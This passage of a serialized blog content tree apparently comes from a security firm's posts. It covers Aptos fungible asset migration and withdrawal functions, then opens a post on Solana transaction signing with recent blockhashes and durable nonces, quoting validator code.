migrate_to_fungible_store",{"type":23,"tag":213,"props":67411,"children":67412},{"style":220},[67413],{"type":28,"value":434},{"type":23,"tag":213,"props":67415,"children":67416},{"style":290},[67417],{"type":28,"value":6676},{"type":23,"tag":213,"props":67419,"children":67420},{"style":220},[67421],{"type":28,"value":6681},{"type":23,"tag":213,"props":67423,"children":67424},{"class":215,"line":524},[67425,67429,67433,67437],{"type":23,"tag":213,"props":67426,"children":67427},{"style":268},[67428],{"type":28,"value":25230},{"type":23,"tag":213,"props":67430,"children":67431},{"style":274},[67432],{"type":28,"value":277},{"type":23,"tag":213,"props":67434,"children":67435},{"style":274},[67436],{"type":28,"value":927},{"type":23,"tag":213,"props":67438,"children":67439},{"style":268},[67440],{"type":28,"value":67441},"signer\n",{"type":23,"tag":213,"props":67443,"children":67444},{"class":215,"line":533},[67445,67449,67453,67457,67461,67466,67470,67474],{"type":23,"tag":213,"props":67446,"children":67447},{"style":220},[67448],{"type":28,"value":298},{"type":23,"tag":213,"props":67450,"children":67451},{"style":268},[67452],{"type":28,"value":6436},{"type":23,"tag":213,"props":67454,"children":67455},{"style":290},[67456],{"type":28,"value":61203},{"type":23,"tag":213,"props":67458,"children":67459},{"style":220},[67460],{"type":28,"value":424},{"type":23,"tag":213,"props":67462,"children":67463},{"style":290},[67464],{"type":28,"value":67465},"CoinConversionMap",{"type":23,"tag":213,"props":67467,"children":67468},{"style":220},[67469],{"type":28,"value":424},{"type":23,"tag":213,"props":67471,"children":67472},{"style":290},[67473],{"type":28,"value":6806},{"type":23,"tag":213,"props":67475,"children":67476},{"style":220},[67477],{"type":28,"value":1375},{"type":23,"tag":213,"props":67479,"children":67480},{"class":215,"line":543},[67481,67486,67490,67494,67499,67503,67507,67511,67515],{"type":23,"tag":213,"props":67482,"children":67483},{"style":268},[67484],{"type":28,"value":67485}," maybe_convert_to_fungible_store",{"type":23,"tag":213,"props":67487,"children":67488},{"style":220},[67489],{"type":28,"value":434},{"type":23,"tag":213,"props":67491,"children":67492},{"style":290},[67493],{"type":28,"value":6676},{"type":23,"tag":213,"props":67495,"children":67496},{"style":220},[67497],{"type":28,"value":67498},">(signer",{"type":23,"tag":213,"props":67500,"children":67501},{"style":274},[67502],{"type":28,"value":562},{"type":23,"tag":213,"props":67504,"children":67505},{"style":257},[67506],{"type":28,"value":7299},{"type":23,"tag":213,"props":67508,"children":67509},{"style":220},[67510],{"type":28,"value":265},{"type":23,"tag":213,"props":67512,"children":67513},{"style":268},[67514],{"type":28,"value":91},{"type":23,"tag":213,"props":67516,"children":67517},{"style":220},[67518],{"type":28,"value":7313},{"type":23,"tag":213,"props":67520,"children":67521},{"class":215,"line":551},[67522],{"type":23,"tag":213,"props":67523,"children":67524},{"style":220},[67525],{"type":28,"value":1208},{"type":23,"tag":24,"props":67527,"children":67528},{},[67529,67531,67536,67538,67543],{"type":28,"value":67530},"A curious reader might wonder about the fate of the ",{"type":23,"tag":209,"props":67532,"children":67534},{"className":67533},[],[67535],{"type":28,"value":61182},{"type":28,"value":67537}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":23,"tag":209,"props":67539,"children":67541},{"className":67540},[],[67542],{"type":28,"value":61182},{"type":28,"value":67544}," to ensure consistency.",{"type":23,"tag":66239,"props":67546,"children":67547},{},[67548,67567],{"type":23,"tag":24,"props":67549,"children":67550},{},[67551,67553,67558,67560,67565],{"type":28,"value":67552},"Could an attacker convert their ",{"type":23,"tag":209,"props":67554,"children":67556},{"className":67555},[],[67557],{"type":28,"value":61182},{"type":28,"value":67559}," to a primary fungible store and then register another ",{"type":23,"tag":209,"props":67561,"children":67563},{"className":67562},[],[67564],{"type":28,"value":61182},{"type":28,"value":67566}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":23,"tag":66270,"props":67568,"children":67569},{"v-slot:answer-0":7},[67570],{"type":23,"tag":24,"props":67571,"children":67572},{},[67573],{"type":28,"value":67574},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":23,"tag":47,"props":67576,"children":67577},{"id":28989},[67578],{"type":28,"value":19000},{"type":23,"tag":24,"props":67580,"children":67581},{},[67582,67584,67589],{"type":28,"value":67583},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":23,"tag":209,"props":67585,"children":67587},{"className":67586},[],[67588],{"type":28,"value":61020},{"type":28,"value":124},{"type":23,"tag":24,"props":67591,"children":67592},{},[67593],{"type":28,"value":67594},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":23,"tag":24,"props":67596,"children":67597},{},[67598,67600],{"type":28,"value":67599},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":23,"tag":15533,"props":67601,"children":67602},{},[67603],{"type":23,"tag":36,"props":67604,"children":67606},{"href":29679,"ariaDescribedBy":67605,"dataFootnoteRef":7,"id":29681},[15540],[67607],{"type":28,"value":4106},{"type":23,"tag":18473,"props":67609,"children":67611},{"className":67610,"dataFootnotes":7},[18476],[67612,67617],{"type":23,"tag":47,"props":67613,"children":67615},{"className":67614,"id":15540},[18481],[67616],{"type":28,"value":18484},{"type":23,"tag":131,"props":67618,"children":67619},{},[67620],{"type":23,"tag":135,"props":67621,"children":67622},{"id":30421},[67623,67625,67667],{"type":28,"value":67624},"There are at least four functions that can withdraw a fungible asset:",{"type":23,"tag":168,"props":67626,"children":67627},{},[67628,67638,67647,67657],{"type":23,"tag":135,"props":67629,"children":67630},{},[67631],{"type":23,"tag":36,"props":67632,"children":67636},{"href":67633,"rel":67634,":style":67635},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[40],"color: #007bff;",[67637],{"type":28,"value":64320},{"type":23,"tag":135,"props":67639,"children":67640},{},[67641],{"type":23,"tag":36,"props":67642,"children":67645},{"href":67643,"rel":67644,":style":67635},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[40],[67646],{"type":28,"value":66260},{"type":23,"tag":135,"props":67648,"children":67649},{},[67650],{"type":23,"tag":36,"props":67651,"children":67654},{"href":67652,"rel":67653,":style":67635},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[40],[67655],{"type":28,"value":67656},"primary_fungible_store::withdraw",{"type":23,"tag":135,"props":67658,"children":67659},{},[67660],{"type":23,"tag":36,"props":67661,"children":67664},{"href":67662,"rel":67663,":style":67635},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[40],[67665],{"type":28,"value":67666},"coin::withdraw",{"type":23,"tag":36,"props":67668,"children":67670},{"href":30449,"ariaLabel":18587,"className":67669,"dataFootnoteBackref":7},[18589],[67671],{"type":28,"value":18592},{"type":23,"tag":2957,"props":67673,"children":67674},{},[67675],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":67677},[67678,67679,67680,67683,67688,67689,67690,67691],{"id":61006,"depth":226,"text":61009},{"id":61551,"depth":226,"text":61554},{"id":62111,"depth":226,"text":62114,"children":67681},[67682],{"id":62622,"depth":524,"text":62625},{"id":62879,"depth":226,"text":62882,"children":67684},[67685,67686,67687],{"id":62922,"depth":524,"text":62925},{"id":63627,"depth":524,"text":63630},{"id":65284,"depth":524,"text":65287},{"id":65815,"depth":226,"text":65818},{"id":66796,"depth":226,"text":66799},{"id":28989,"depth":226,"text":19000},{"id":15540,"depth":226,"text":18484},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":67696,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":67697,"description":67698,"date":67699,"author":5813,"image":67700,"isFeatured":18,"onBlogPage":18,"tags":67702,"body":67703,"_type":2967,"_id":69529,"_source":2969,"_file":69530,"_stem":69531,"_extension":2972},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":67701,"width":5478,"height":5479},"/posts/multisig-security/title.png",[16],{"type":20,"children":67704,"toc":69520},[67705,67718,67724,67729,67735,67747,67755,67768,67828,67850,67977,67982,67995,68007,68013,68027,68040,68054,68535,68540,68548,68562,68576,68715,68727,68733,68738,68756,68761,68766,68787,69071,69086,69274,69287,69416,69421,69426,69431,69459,69465,69470,69484,69516],{"type":23,"tag":24,"props":67706,"children":67707},{},[67708,67709,67716],{"type":28,"value":2623},{"type":23,"tag":36,"props":67710,"children":67713},{"href":67711,"rel":67712},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[40],[67714],{"type":28,"value":67715},"Bybit hack",{"type":28,"value":67717}," raises an interesting question: what can teams do if their signers are compromised?",{"type":23,"tag":47,"props":67719,"children":67721},{"id":67720},"solana-signatures",[67722],{"type":28,"value":67723},"Solana Signatures",{"type":23,"tag":24,"props":67725,"children":67726},{},[67727],{"type":28,"value":67728},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":23,"tag":9693,"props":67730,"children":67732},{"id":67731},"recent-blockhash",[67733],{"type":28,"value":67734},"Recent Blockhash",{"type":23,"tag":24,"props":67736,"children":67737},{},[67738,67740,67746],{"type":28,"value":67739},"The most straightforward is with a \"recent blockhash\". From ",{"type":23,"tag":36,"props":67741,"children":67744},{"href":67742,"rel":67743},"https://solana.com/developers/guides/advanced/confirmation",[40],[67745],{"type":28,"value":1240},{"type":28,"value":277},{"type":23,"tag":3036,"props":67748,"children":67749},{},[67750],{"type":23,"tag":24,"props":67751,"children":67752},{},[67753],{"type":28,"value":67754},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":23,"tag":24,"props":67756,"children":67757},{},[67758,67760,67767],{"type":28,"value":67759},"The actual constant ",{"type":23,"tag":36,"props":67761,"children":67764},{"href":67762,"rel":67763},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[40],[67765],{"type":28,"value":67766},"is defined here",{"type":28,"value":124},{"type":23,"tag":202,"props":67769,"children":67771},{"className":206,"code":67770,"language":205,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[67772],{"type":23,"tag":209,"props":67773,"children":67774},{"__ignoreMap":7},[67775,67783],{"type":23,"tag":213,"props":67776,"children":67777},{"class":215,"line":216},[67778],{"type":23,"tag":213,"props":67779,"children":67780},{"style":537},[67781],{"type":28,"value":67782},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":23,"tag":213,"props":67784,"children":67785},{"class":215,"line":226},[67786,67790,67794,67799,67803,67807,67811,67816,67820,67824],{"type":23,"tag":213,"props":67787,"children":67788},{"style":230},[67789],{"type":28,"value":233},{"type":23,"tag":213,"props":67791,"children":67792},{"style":230},[67793],{"type":28,"value":39168},{"type":23,"tag":213,"props":67795,"children":67796},{"style":220},[67797],{"type":28,"value":67798}," MAX_PROCESSING_AGE",{"type":23,"tag":213,"props":67800,"children":67801},{"style":274},[67802],{"type":28,"value":277},{"type":23,"tag":213,"props":67804,"children":67805},{"style":290},[67806],{"type":28,"value":506},{"type":23,"tag":213,"props":67808,"children":67809},{"style":274},[67810],{"type":28,"value":511},{"type":23,"tag":213,"props":67812,"children":67813},{"style":220},[67814],{"type":28,"value":67815}," MAX_RECENT_BLOCKHASHES ",{"type":23,"tag":213,"props":67817,"children":67818},{"style":274},[67819],{"type":28,"value":4675},{"type":23,"tag":213,"props":67821,"children":67822},{"style":514},[67823],{"type":28,"value":8022},{"type":23,"tag":213,"props":67825,"children":67826},{"style":220},[67827],{"type":28,"value":313},{"type":23,"tag":24,"props":67829,"children":67830},{},[67831,67833,67840,67842,67848],{"type":28,"value":67832},"For those curious, the logic ",{"type":23,"tag":36,"props":67834,"children":67837},{"href":67835,"rel":67836},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[40],[67838],{"type":28,"value":67839},"starts here",{"type":28,"value":67841}," and is quite straightforward to follow, ending in a ",{"type":23,"tag":209,"props":67843,"children":67845},{"className":67844},[],[67846],{"type":28,"value":67847},"is_hash_index_valid",{"type":28,"value":67849}," check.",{"type":23,"tag":202,"props":67851,"children":67853},{"className":206,"code":67852,"language":205,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n last_hash_index - hash_index \u003C= max_age as u64\n}\n",[67854],{"type":23,"tag":209,"props":67855,"children":67856},{"__ignoreMap":7},[67857,67936,67970],{"type":23,"tag":213,"props":67858,"children":67859},{"class":215,"line":216},[67860,67864,67869,67873,67878,67882,67886,67890,67895,67899,67903,67907,67912,67916,67920,67924,67928,67932],{"type":23,"tag":213,"props":67861,"children":67862},{"style":230},[67863],{"type":28,"value":20321},{"type":23,"tag":213,"props":67865,"children":67866},{"style":257},[67867],{"type":28,"value":67868}," is_hash_index_valid",{"type":23,"tag":213,"props":67870,"children":67871},{"style":220},[67872],{"type":28,"value":265},{"type":23,"tag":213,"props":67874,"children":67875},{"style":268},[67876],{"type":28,"value":67877},"last_hash_index",{"type":23,"tag":213,"props":67879,"children":67880},{"style":274},[67881],{"type":28,"value":277},{"type":23,"tag":213,"props":67883,"children":67884},{"style":290},[67885],{"type":28,"value":308},{"type":23,"tag":213,"props":67887,"children":67888},{"style":220},[67889],{"type":28,"value":424},{"type":23,"tag":213,"props":67891,"children":67892},{"style":268},[67893],{"type":28,"value":67894},"max_age",{"type":23,"tag":213,"props":67896,"children":67897},{"style":274},[67898],{"type":28,"value":277},{"type":23,"tag":213,"props":67900,"children":67901},{"style":290},[67902],{"type":28,"value":506},{"type":23,"tag":213,"props":67904,"children":67905},{"style":220},[67906],{"type":28,"value":424},{"type":23,"tag":213,"props":67908,"children":67909},{"style":268},[67910],{"type":28,"value":67911},"hash_index",{"type":23,"tag":213,"props":67913,"children":67914},{"style":274},[67915],{"type":28,"value":277},{"type":23,"tag":213,"props":67917,"children":67918},{"style":290},[67919],{"type":28,"value":308},{"type":23,"tag":213,"props":67921,"children":67922},{"style":220},[67923],{"type":28,"value":298},{"type":23,"tag":213,"props":67925,"children":67926},{"style":274},[67927],{"type":28,"value":303},{"type":23,"tag":213,"props":67929,"children":67930},{"style":290},[67931],{"type":28,"value":965},{"type":23,"tag":213,"props":67933,"children":67934},{"style":220},[67935],{"type":28,"value":1375},{"type":23,"tag":213,"props":67937,"children":67938},{"class":215,"line":226},[67939,67944,67948,67953,67957,67962,67966],{"type":23,"tag":213,"props":67940,"children":67941},{"style":268},[67942],{"type":28,"value":67943}," last_hash_index",{"type":23,"tag":213,"props":67945,"children":67946},{"style":274},[67947],{"type":28,"value":51308},{"type":23,"tag":213,"props":67949,"children":67950},{"style":268},[67951],{"type":28,"value":67952}," hash_index",{"type":23,"tag":213,"props":67954,"children":67955},{"style":274},[67956],{"type":28,"value":8283},{"type":23,"tag":213,"props":67958,"children":67959},{"style":268},[67960],{"type":28,"value":67961}," max_age",{"type":23,"tag":213,"props":67963,"children":67964},{"style":230},[67965],{"type":28,"value":8913},{"type":23,"tag":213,"props":67967,"children":67968},{"style":290},[67969],{"type":28,"value":13276},{"type":23,"tag":213,"props":67971,"children":67972},{"class":215,"line":524},[67973],{"type":23,"tag":213,"props":67974,"children":67975},{"style":220},[67976],{"type":28,"value":1208},{"type":23,"tag":24,"props":67978,"children":67979},{},[67980],{"type":28,"value":67981},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":23,"tag":3036,"props":67983,"children":67984},{},[67985],{"type":23,"tag":24,"props":67986,"children":67987},{},[67988,67990],{"type":28,"value":67989},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":23,"tag":95,"props":67991,"children":67992},{},[67993],{"type":28,"value":67994},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":23,"tag":24,"props":67996,"children":67997},{},[67998,68000,68005],{"type":28,"value":67999},"This means an attacker ",{"type":23,"tag":87,"props":68001,"children":68002},{},[68003],{"type":28,"value":68004},"must use",{"type":28,"value":68006}," a malicious signed transaction within a short timeframe.",{"type":23,"tag":9693,"props":68008,"children":68010},{"id":68009},"durable-nonce",[68011],{"type":28,"value":68012},"Durable Nonce",{"type":23,"tag":24,"props":68014,"children":68015},{},[68016,68018,68025],{"type":28,"value":68017},"The second type of signature ",{"type":23,"tag":36,"props":68019,"children":68022},{"href":68020,"rel":68021},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[40],[68023],{"type":28,"value":68024},"is a durable nonce",{"type":28,"value":68026},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":23,"tag":3036,"props":68028,"children":68029},{},[68030],{"type":23,"tag":24,"props":68031,"children":68032},{},[68033,68035],{"type":28,"value":68034},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":23,"tag":95,"props":68036,"children":68037},{},[68038],{"type":28,"value":68039},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":23,"tag":24,"props":68041,"children":68042},{},[68043,68045,68052],{"type":28,"value":68044},"If we examine the code ",{"type":23,"tag":36,"props":68046,"children":68049},{"href":68047,"rel":68048},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[40],[68050],{"type":28,"value":68051},"for recent blockhash validation",{"type":28,"value":68053},", we can also see the handling for durable nonces.",{"type":23,"tag":202,"props":68055,"children":68057},{"className":206,"code":68056,"language":205,"meta":7,"style":7}," let recent_blockhash = tx.message().recent_blockhash();\n if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n Ok(CheckedTransactionDetails {\n nonce: None,\n lamports_per_signature: hash_info.lamports_per_signature(),\n })\n } else if let Some((nonce, previous_lamports_per_signature)) = self\n .check_load_and_advance_message_nonce_account(\n tx.message(),\n next_durable_nonce,\n next_lamports_per_signature,\n )\n {\n Ok(CheckedTransactionDetails {\n nonce: Some(nonce),\n lamports_per_signature: previous_lamports_per_signature,\n })\n } else {\n error_counters.blockhash_not_found += 1;\n Err(TransactionError::BlockhashNotFound)\n }\n",[68058],{"type":23,"tag":209,"props":68059,"children":68060},{"__ignoreMap":7},[68061,68108,68174,68194,68214,68244,68252,68306,68322,68342,68354,68366,68374,68381,68400,68427,68447,68454,68469,68499,68528],{"type":23,"tag":213,"props":68062,"children":68063},{"class":215,"line":216},[68064,68068,68073,68077,68082,68086,68091,68095,68099,68104],{"type":23,"tag":213,"props":68065,"children":68066},{"style":230},[68067],{"type":28,"value":487},{"type":23,"tag":213,"props":68069,"children":68070},{"style":268},[68071],{"type":28,"value":68072}," recent_blockhash",{"type":23,"tag":213,"props":68074,"children":68075},{"style":274},[68076],{"type":28,"value":511},{"type":23,"tag":213,"props":68078,"children":68079},{"style":268},[68080],{"type":28,"value":68081}," tx",{"type":23,"tag":213,"props":68083,"children":68084},{"style":274},[68085],{"type":28,"value":124},{"type":23,"tag":213,"props":68087,"children":68088},{"style":257},[68089],{"type":28,"value":68090},"message",{"type":23,"tag":213,"props":68092,"children":68093},{"style":220},[68094],{"type":28,"value":13955},{"type":23,"tag":213,"props":68096,"children":68097},{"style":274},[68098],{"type":28,"value":124},{"type":23,"tag":213,"props":68100,"children":68101},{"style":257},[68102],{"type":28,"value":68103},"recent_blockhash",{"type":23,"tag":213,"props":68105,"children":68106},{"style":220},[68107],{"type":28,"value":3759},{"type":23,"tag":213,"props":68109,"children":68110},{"class":215,"line":226},[68111,68115,68119,68123,68127,68132,68136,68140,68145,68149,68154,68158,68162,68166,68170],{"type":23,"tag":213,"props":68112,"children":68113},{"style":1362},[68114],{"type":28,"value":2653},{"type":23,"tag":213,"props":68116,"children":68117},{"style":230},[68118],{"type":28,"value":27360},{"type":23,"tag":213,"props":68120,"children":68121},{"style":290},[68122],{"type":28,"value":27365},{"type":23,"tag":213,"props":68124,"children":68125},{"style":220},[68126],{"type":28,"value":265},{"type":23,"tag":213,"props":68128,"children":68129},{"style":268},[68130],{"type":28,"value":68131},"hash_info",{"type":23,"tag":213,"props":68133,"children":68134},{"style":220},[68135],{"type":28,"value":298},{"type":23,"tag":213,"props":68137,"children":68138},{"style":274},[68139],{"type":28,"value":3190},{"type":23,"tag":213,"props":68141,"children":68142},{"style":268},[68143],{"type":28,"value":68144}," hash_queue",{"type":23,"tag":213,"props":68146,"children":68147},{"style":274},[68148],{"type":28,"value":124},{"type":23,"tag":213,"props":68150,"children":68151},{"style":257},[68152],{"type":28,"value":68153},"get_hash_info_if_valid",{"type":23,"tag":213,"props":68155,"children":68156},{"style":220},[68157],{"type":28,"value":265},{"type":23,"tag":213,"props":68159,"children":68160},{"style":268},[68161],{"type":28,"value":68103},{"type":23,"tag":213,"props":68163,"children":68164},{"style":220},[68165],{"type":28,"value":424},{"type":23,"tag":213,"props":68167,"children":68168},{"style":268},[68169],{"type":28,"value":67894},{"type":23,"tag":213,"props":68171,"children":68172},{"style":220},[68173],{"type":28,"value":14870},{"type":23,"tag":213,"props":68175,"children":68176},{"class":215,"line":524},[68177,68181,68185,68190],{"type":23,"tag":213,"props":68178,"children":68179},{"style":290},[68180],{"type":28,"value":14878},{"type":23,"tag":213,"props":68182,"children":68183},{"style":220},[68184],{"type":28,"value":265},{"type":23,"tag":213,"props":68186,"children":68187},{"style":290},[68188],{"type":28,"value":68189},"CheckedTransactionDetails",{"type":23,"tag":213,"props":68191,"children":68192},{"style":220},[68193],{"type":28,"value":1375},{"type":23,"tag":213,"props":68195,"children":68196},{"class":215,"line":533},[68197,68202,68206,68210],{"type":23,"tag":213,"props":68198,"children":68199},{"style":268},[68200],{"type":28,"value":68201}," nonce",{"type":23,"tag":213,"props":68203,"children":68204},{"style":274},[68205],{"type":28,"value":277},{"type":23,"tag":213,"props":68207,"children":68208},{"style":290},[68209],{"type":28,"value":27813},{"type":23,"tag":213,"props":68211,"children":68212},{"style":220},[68213],{"type":28,"value":944},{"type":23,"tag":213,"props":68215,"children":68216},{"class":215,"line":543},[68217,68222,68226,68231,68235,68240],{"type":23,"tag":213,"props":68218,"children":68219},{"style":268},[68220],{"type":28,"value":68221}," lamports_per_signature",{"type":23,"tag":213,"props":68223,"children":68224},{"style":274},[68225],{"type":28,"value":277},{"type":23,"tag":213,"props":68227,"children":68228},{"style":268},[68229],{"type":28,"value":68230}," hash_info",{"type":23,"tag":213,"props":68232,"children":68233},{"style":274},[68234],{"type":28,"value":124},{"type":23,"tag":213,"props":68236,"children":68237},{"style":257},[68238],{"type":28,"value":68239},"lamports_per_signature",{"type":23,"tag":213,"props":68241,"children":68242},{"style":220},[68243],{"type":28,"value":1809},{"type":23,"tag":213,"props":68245,"children":68246},{"class":215,"line":551},[68247],{"type":23,"tag":213,"props":68248,"children":68249},{"style":220},[68250],{"type":28,"value":68251}," })\n",{"type":23,"tag":213,"props":68253,"children":68254},{"class":215,"line":570},[68255,68259,68263,68267,68271,68275,68279,68284,68288,68293,68297,68301],{"type":23,"tag":213,"props":68256,"children":68257},{"style":220},[68258],{"type":28,"value":1440},{"type":23,"tag":213,"props":68260,"children":68261},{"style":1362},[68262],{"type":28,"value":3412},{"type":23,"tag":213,"props":68264,"children":68265},{"style":1362},[68266],{"type":28,"value":15839},{"type":23,"tag":213,"props":68268,"children":68269},{"style":230},[68270],{"type":28,"value":27360},{"type":23,"tag":213,"props":68272,"children":68273},{"style":290},[68274],{"type":28,"value":27365},{"type":23,"tag":213,"props":68276,"children":68277},{"style":220},[68278],{"type":28,"value":31579},{"type":23,"tag":213,"props":68280,"children":68281},{"style":268},[68282],{"type":28,"value":68283},"nonce",{"type":23,"tag":213,"props":68285,"children":68286},{"style":220},[68287],{"type":28,"value":424},{"type":23,"tag":213,"props":68289,"children":68290},{"style":268},[68291],{"type":28,"value":68292},"previous_lamports_per_signature",{"type":23,"tag":213,"props":68294,"children":68295},{"style":220},[68296],{"type":28,"value":8922},{"type":23,"tag":213,"props":68298,"children":68299},{"style":274},[68300],{"type":28,"value":3190},{"type":23,"tag":213,"props":68302,"children":68303},{"style":230},[68304],{"type":28,"value":68305}," self\n",{"type":23,"tag":213,"props":68307,"children":68308},{"class":215,"line":655},[68309,68313,68318],{"type":23,"tag":213,"props":68310,"children":68311},{"style":274},[68312],{"type":28,"value":2671},{"type":23,"tag":213,"props":68314,"children":68315},{"style":257},[68316],{"type":28,"value":68317},"check_load_and_advance_message_nonce_account",{"type":23,"tag":213,"props":68319,"children":68320},{"style":220},[68321],{"type":28,"value":1511},{"type":23,"tag":213,"props":68323,"children":68324},{"class":215,"line":1176},[68325,68330,68334,68338],{"type":23,"tag":213,"props":68326,"children":68327},{"style":268},[68328],{"type":28,"value":68329}," tx",{"type":23,"tag":213,"props":68331,"children":68332},{"style":274},[68333],{"type":28,"value":124},{"type":23,"tag":213,"props":68335,"children":68336},{"style":257},[68337],{"type":28,"value":68090},{"type":23,"tag":213,"props":68339,"children":68340},{"style":220},[68341],{"type":28,"value":1809},{"type":23,"tag":213,"props":68343,"children":68344},{"class":215,"line":1202},[68345,68350],{"type":23,"tag":213,"props":68346,"children":68347},{"style":268},[68348],{"type":28,"value":68349}," next_durable_nonce",{"type":23,"tag":213,"props":68351,"children":68352},{"style":220},[68353],{"type":28,"value":944},{"type":23,"tag":213,"props":68355,"children":68356},{"class":215,"line":1758},[68357,68362],{"type":23,"tag":213,"props":68358,"children":68359},{"style":268},[68360],{"type":28,"value":68361}," next_lamports_per_signature",{"type":23,"tag":213,"props":68363,"children":68364},{"style":220},[68365],{"type":28,"value":944},{"type":23,"tag":213,"props":68367,"children":68368},{"class":215,"line":1767},[68369],{"type":23,"tag":213,"props":68370,"children":68371},{"style":220},[68372],{"type":28,"value":68373}," )\n",{"type":23,"tag":213,"props":68375,"children":68376},{"class":215,"line":1789},[68377],{"type":23,"tag":213,"props":68378,"children":68379},{"style":220},[68380],{"type":28,"value":2725},{"type":23,"tag":213,"props":68382,"children":68383},{"class":215,"line":1812},[68384,68388,68392,68396],{"type":23,"tag":213,"props":68385,"children":68386},{"style":290},[68387],{"type":28,"value":14878},{"type":23,"tag":213,"props":68389,"children":68390},{"style":220},[68391],{"type":28,"value":265},{"type":23,"tag":213,"props":68393,"children":68394},{"style":290},[68395],{"type":28,"value":68189},{"type":23,"tag":213,"props":68397,"children":68398},{"style":220},[68399],{"type":28,"value":1375},{"type":23,"tag":213,"props":68401,"children":68402},{"class":215,"line":1838},[68403,68407,68411,68415,68419,68423],{"type":23,"tag":213,"props":68404,"children":68405},{"style":268},[68406],{"type":28,"value":68201},{"type":23,"tag":213,"props":68408,"children":68409},{"style":274},[68410],{"type":28,"value":277},{"type":23,"tag":213,"props":68412,"children":68413},{"style":290},[68414],{"type":28,"value":27365},{"type":23,"tag":213,"props":68416,"children":68417},{"style":220},[68418],{"type":28,"value":265},{"type":23,"tag":213,"props":68420,"children":68421},{"style":268},[68422],{"type":28,"value":68283},{"type":23,"tag":213,"props":68424,"children":68425},{"style":220},[68426],{"type":28,"value":1715},{"type":23,"tag":213,"props":68428,"children":68429},{"class":215,"line":1851},[68430,68434,68438,68443],{"type":23,"tag":213,"props":68431,"children":68432},{"style":268},[68433],{"type":28,"value":68221},{"type":23,"tag":213,"props":68435,"children":68436},{"style":274},[68437],{"type":28,"value":277},{"type":23,"tag":213,"props":68439,"children":68440},{"style":268},[68441],{"type":28,"value":68442}," previous_lamports_per_signature",{"type":23,"tag":213,"props":68444,"children":68445},{"style":220},[68446],{"type":28,"value":944},{"type":23,"tag":213,"props":68448,"children":68449},{"class":215,"line":1864},[68450],{"type":23,"tag":213,"props":68451,"children":68452},{"style":220},[68453],{"type":28,"value":68251},{"type":23,"tag":213,"props":68455,"children":68456},{"class":215,"line":1890},[68457,68461,68465],{"type":23,"tag":213,"props":68458,"children":68459},{"style":220},[68460],{"type":28,"value":1440},{"type":23,"tag":213,"props":68462,"children":68463},{"style":1362},[68464],{"type":28,"value":3412},{"type":23,"tag":213,"props":68466,"children":68467},{"style":220},[68468],{"type":28,"value":1375},{"type":23,"tag":213,"props":68470,"children":68471},{"class":215,"line":1899},[68472,68477,68481,68486,68491,68495],{"type":23,"tag":213,"props":68473,"children":68474},{"style":268},[68475],{"type":28,"value":68476}," error_counters",{"type":23,"tag":213,"props":68478,"children":68479},{"style":274},[68480],{"type":28,"value":124},{"type":23,"tag":213,"props":68482,"children":68483},{"style":220},[68484],{"type":28,"value":68485},"blockhash_not_found 